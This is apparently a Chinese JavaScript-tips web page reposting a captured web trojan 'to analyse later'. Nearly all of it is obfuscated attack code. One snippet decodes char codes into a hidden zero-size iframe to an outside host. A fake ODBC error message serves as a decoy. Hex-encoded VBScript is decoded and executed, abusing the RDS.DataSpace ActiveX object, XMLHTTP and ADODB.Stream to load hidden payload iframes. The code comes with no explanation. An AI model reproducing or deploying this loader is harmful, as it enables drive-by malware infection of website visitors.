js eval木马代码,以后再分析吧_javascript技巧

从下面的木马中,发现的书写js的另一方法

<div id="theid"></div> <script> p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,104,116,116,112,58,47,47,97,45,108,46,109,101,105,98,117,46,99,111,109,47,34,62,60,47,105,102,114,97,109,101,62"; p=eval("String.fromCharCode("+p+")"); document.getElementById('theid').innerText=p; </script>
[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]

复制代码 代码如下:

<script> <BR>function init() { <BR>document.write("Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'");} <BR>window.onload = init; <BR></script>
<script> <BR>S="0d202020206f6e206572726f7220726573756d65206e6578740d202020205365742073696e61203d20646f63756d656e742e637265617465456c656d656e7428226f626a65637422290d2020202073696e612e7365744174747269627574652022636c6173736964222c2022636c7369643a42443936433535362d363541332d313144302d393833412d303043303446433239453336220d20202020536574206261696475203d2073696e612e4372656174654f626a65637428224d6963726f736f66742e584d4c48545450222c2222290d20202020676f6f67313d2241646f220d20202020676f6f67323d2264622e220d20202020676f6f67333d22537472220d20202020676f6f67343d2265616d220d20202020676f6f743d676f6f673126676f6f673226676f6f673326676f6f67340d20202020706f733d676f6f740d20202020536574206e5053203d2073696e612e4372656174654f626a65637428706f732c2222290d6966204e6f74204572722e4e756d626572203d2030207468656e0d6572722e636c6561720d646f63756d656e742e77726974652028223c696672616d65207372633d676f6f676c652e68746d2077696474683d30206865696768743d303e22290d656c73650d646f63756d656e742e77726974652028223c696672616d65207372633d42414944552e68746d2077696474683d30206865696768743d303e22290d656e642069660d" <BR>flag_type="vbs" <BR>D="" <BR>DO WHILE LEN(S)>1 <BR> k="&H"+LEFT(S,2) <BR> p=CLng(k) <BR> m=chr(p) <BR> D=D&m <BR> S=MID(S,3) <BR>LOOP <BR>if flag_type="vbs" then <BR> EXECUTE D <BR>end if <BR></script>
<script> <BR>if (flag_type=="js") { <BR>eval(D);} <BR></script>